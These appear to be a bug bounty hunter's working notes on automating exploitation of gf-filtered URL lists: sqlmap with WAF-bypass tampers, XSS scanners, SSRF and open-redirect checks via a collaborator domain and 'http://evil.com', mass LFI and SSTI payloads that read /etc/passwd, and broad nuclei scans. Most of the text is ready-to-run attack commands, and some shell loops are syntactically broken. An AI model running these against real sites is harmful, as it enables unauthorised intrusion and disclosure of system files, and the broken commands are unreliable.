8-GF Automation

Now that we have sorted out endpoints based on gf patterns for SQLi, XSS, SSRF, LFI, and Open Redirect, let’s exploit them.

---

SQLi

Feed it to sqlmap:

sqlmap -m sql --batch --random-agent --level 5 --risk 3 --tamper=between -v3 > sqlmap_output.txt

Try to figure out the SQL version and add it using --dbms flag.

WAF Bypass:

sqlmap -m --dbs --level=5 --risk=3 --user-agent -v3 --tamper="between,randomcase,space2comment" --batch -v3 > sqlmap_output.txt

---

XSS

For XSS, there are couple of ways to test it.

dalfox, xsstrike, and knoxss are the best ways to do it.

dalfox

dalfox will help on automatically scanning for XSS.

We can install it as such:

┌──(carabiner1㉿carabiner)-[~/Documents/bbh/who/who_urls]
└─$ export GOPROXY=https://goproxy.io
                                                                                                                        
┌──(carabiner1㉿carabiner)-[~/Documents/bbh/who/who_urls]
└─$ /usr/local/go/bin/go install github.com/hahwul/dalfox/v2@latest

go: downloading github.com/hahwul/dalfox v1.2.1
go: downloading github.com/hahwul/dalfox/v2 v2.9.3

Running dalfox after running paramspider might be a good idea.

Let’s feed potentially XSS vulnerable URLs to dalfox:

cat gf_xss_uniq.txt | ~/go/bin/gf xss | sed 's/#,*/#/' | ~/go/bin/dalfox pipe -o output.txt    


If we want to get dalfox run faster, we can use multicast. Decide wisely on whether to use this flag or not based on your internet connection.

cat urls.txt | dalfox pipe --multicast -o xss.txt

XSSstrike

python3 xsstrike.py --seeds ~/Documents/bbh/dutch/gf_xss_uniq.txt --blind --file-log-level DEBUG --log-file ~/Documents/xss_log_2215.txt

python3 xsstrike.py --seeds ~/Documents/bbh/dutch/gf_xss_uniq.txt 

For scanning single url:

xsstrike -f url

For scanning list of urls:

xsstrike --seeds xss -t 10 --blind (add your blind xss on /opt/xsstrike/core/config.py)

For generating blind xss payloads, use this

while IFS= read -r url; do
    echo "Testing URL: $url"
    python3 xsstrike.py -u "$url"
done < ~/Documents/bbh/dutch/gf_xss_uniq.txt

KNOXSS

Needs subscription. It is around $20 for 6 months.

I will definitely check it out later.

SSRF

We can use couple of methods to validate SSRF.

• FFuf with Burp Collaborator
• SSRFMap
• SSRF-Finder with surf
• SSRF-King on Burp Suite

FFuf with Collaborator

Append burp collaborator payload to the URLs:

cat gf_ssrf_uniq.txt | /home/carabiner1/go/bin/qsreplace tb825nl8s8wamuib81jppheomfs6gw4l.oastify.com >> ssrf_collaborator_payload.txt

URLs are gonna look something like below:

Now run through URLs with burp collaborator through ffuf:

ffuf -c -w ssrf_collaborator_payload.txt -u FUZZ

xargs with Collaborator

cat wayback.txt | gf ssrf | sort -u |anew | httpx | qsreplace 'burpcollaborator_link' | xargs -I % -P 25 sh -c 'curl -ks "%" 2>&1 | grep "compute.internal" && echo "SSRF VULN! %"'

SSRF-Finder with Surf

surf allows you to filter a list of hosts, returning a list of viable SSRF candidates:

surf -l ssrf -t 10 -c 200

Feed it to SSRF-Finder:

cat ssrf | ssrf-finder

---

LFI

LFIMap

Feed it to lfimap:

sudo python3 lfimap/lfimap.py --no-stop -F ~/Documents/bbh/nokia/urls/mass_lfi/gf_lfi_uniq.txt -a |& sudo tee -a ~/Documents/bbh/nokia/urls/mass_lfi/lfi_results3.txt 

httpx

Testing for LFI with custom paths and regex:

httpx -l lfi -paths /root/LFI-files -threads 100 -random-agent -mc 200 -mr "root:[x*]:0:0:"

Purpose: Uses httpx to test multiple URLs in parallel for LFI vulnerabilities. The -paths option specifies a file with potential LFI paths, and -mr filters responses that contain a regex pattern indicating sensitive file access (like /etc/passwd contents

Using httpx with wordlist for LFI:

cat hosts | gau | gf lfi | httpx -paths lfi_wordlist.txt -threads 100 -random-agent -x GET,POST -tech-detect -status-code -follow-redirects -mc 200 -mr "root:[x*]:0:0:"

Purpose: Combines gau (Get All URLs) with gf (grep filtering for patterns) to gather potential LFI paths. These paths are then tested using httpx with GET and POST methods and specified HTTP response patterns.

nuclei

Basic LFI Detection with Nuclei Tags:

nuclei -l urls-his -c 200 -tags lfi

Purpose: Runs nuclei on URLs in the urls-his file, specifically targeting LFI vulnerabilities using templates tagged as LFI.

Advanced Vulnerability Scanning with Tags:

nuclei -c 500 -l urls.txt -t nuclei-templates/ -severity critical,high -ept ssl,tcp -tags cve,rce,log4j,grafana,tomcat,solar,apache,lfi,ssrf,sql,xxe,symfony,exposure,traversal,panel,default-login,confluence,vmware,vcenter -o url_results.txt

Purpose: Performs a broader scan using nuclei templates with various vulnerability tags and high-severity filters. This command detects a variety of vulnerabilities, including LFI, RCE, and XXE, with output saved to url_results.txt

Fuzzing with Nuclei Templates:

nuclei -l urls-his -c 200 -t fuzzing-templates -s critical,high

Purpose: Uses specific fuzzing templates in nuclei to test for high-severity vulnerabilities across multiple URLs. This is useful for identifying unexpected or complex attack vectors.

Using curl and waybackurls

Testing LFI via Wayback Machine URLs:

waybackurls target.com | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'

Direct LFI Testing with cURL:

waybackurls target.com | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'

Open Redirect

Collaborator

Append burp collaborator payload to the URLs:

cat gf_redirect_uniq.txt | /home/carabiner1/go/bin/qsreplace tb825nl8s8wamuib81jppheomfs6gw4l.oastify.com >> redirect_collaborator_payload.txt

Now run through URLs with burp collaborator through ffuf:

ffuf -c -w redirect_collaborator_payload.txt -u FUZZ

cURL

waybackurls target.com | grep -a -i \=http | qsreplace 'http://evil.com' | while read host do;do curl -s -L $host -I| grep "http://evil.com" && echo -e "$host \033[0;31mVulnerable\n" ;done

httpx

cat subs.txt| waybackurls | gf redirect | qsreplace 'http://example.com' | httpx -fr -title -match-string 'Example Domain'

xargs

gau [http://vuln.target.com](http://vuln.target.com/) | gf redirect | qsreplace “$LHOST” | xargs -I % -P 25 sh -c ‘curl -Is “%” 2>&1 | grep -q “Location: $LHOST” && echo “VULN! %”’

---

SSTI

cat gf_ssti_uniq.txt  | ~/go/bin/qsreplace "{{''.class.mro[2].subclasses()[40]('/etc/passwd').read()}}" | parallel -j50 -q curl -g | grep  "root:x"

for url in $(cat targets.txt); do python3 tplmap.py -u $url; print $url; done
